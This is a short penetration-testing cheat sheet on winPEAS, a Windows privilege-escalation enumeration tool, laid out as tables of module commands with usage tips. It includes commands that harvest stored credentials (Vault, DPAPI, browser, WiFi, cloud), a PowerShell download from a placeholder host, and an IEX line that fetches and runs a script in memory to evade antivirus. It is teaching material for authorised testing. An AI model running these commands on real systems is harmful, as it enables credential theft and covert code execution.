root@sparrow:~/writeups$ cat winpeas.md
// privesc
WinPEAS
21 Jul 2026
· 3 min read
winPEAS is the Windows counterpart of linpeas: it automatically enumerates the whole system looking for privilege escalation paths. It walks through services, permissions, stored credentials and weak configurations, highlighting findings by color according to their relevance. It is the first tool to run after landing a low-privilege shell on a Windows host.The point of winPEAS is not that it finds everything, but that it color-codes the findings: red/yellow flags what is likely exploitable, and that is where you look first. The binary is noisy and any AV will catch it, which is why the .bat version (no .NET) and in-memory execution via the PowerShell variant exist. Filtering by specific modules avoids thousands of lines of irrelevant output.
1. Beginner level — download and basic modules

| Command | What it does |
|---|---|
winPEASx64.exe | Full privesc enumeration |
winPEASany.exe | .NET version compatible with any architecture |
winPEAS.bat | Batch version (no .NET) |
winPEASx64.exe quiet | Without ASCII banner |
winPEASx64.exe systeminfo | System information only |
winPEASx64.exe userinfo | User information only |
winPEASx64.exe servicesinfo | Services only (unquoted paths...) |
winPEASx64.exe applicationsinfo | Installed software |
winPEASx64.exe > out.txt | Saves the output |
winPEASx64.exe log=out.txt | Saves keeping the colors |
iwr http://<ip>/winPEASx64.exe -o w.exe | Download with PowerShell |
winPEASx64.exe cmd | cmd checks only (no PowerShell) |
winPEASx64.exe help | Shows the help |
winPEASx64.exe fast | Fast mode (fewer checks) |
2. Advanced level — credentials and in-memory

| Command | What it does |
|---|---|
winPEASx64.exe quiet cmd fast | Fast, quiet, no PowerShell |
winPEASx64.exe filesinfo | Searches for sensitive files (credentials) |
winPEASx64.exe windowscreds | Windows credentials only (Vault, DPAPI) |
winPEASx64.exe processinfo | Processes and their permissions |
winPEASx64.exe eventsinfo | Interesting event logs |
winPEASx64.exe browserinfo | Data saved in browsers |
winPEASx64.exe notcolor | No colors (to redirect to a file) |
type out.txt | findstr /i 'password' | Filters credentials in the output |
winPEASx64.exe wifi | Saved WiFi passwords |
winPEASx64.exe cloudinfo | Cloud credentials (AWS, Azure) |
winPEASx64.exe systeminfo userinfo | Combines several categories |
winPEASx64.exe networkinfo | Network info (interfaces, ARP, firewall) |
winPEASx64.exe help | more | List of available modules |
IEX(New-Object Net.WebClient).DownloadString('http://<ip>/winPEAS.ps1') | Runs in memory (PS) |
3. Details people miss
- Run plain
winPEASx64.exefirst for the full enumeration, but focus only on the red/yellow findings: those are the ones winPEAS considers likely exploitable. - Pick the binary by architecture:
winPEASx64.exeorwinPEASx86.exe. If you do not know the target's .NET version, usewinPEASany.exe; and if there is no .NET, fall back towinPEAS.bat(far less thorough). - The .exe trips almost any antivirus. To evade it, use
winPEAS.bator run the PowerShell variant in memory withIEX, never touching disk. - Colors only show in the console. If you redirect to a file with
>, uselog=out.txtto keep them, ornotcolorfor plain readable text. - Do not launch the full enumeration if you are after something specific: modules like
servicesinfoorwindowscredscut thousands of noisy lines down to what actually matters.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.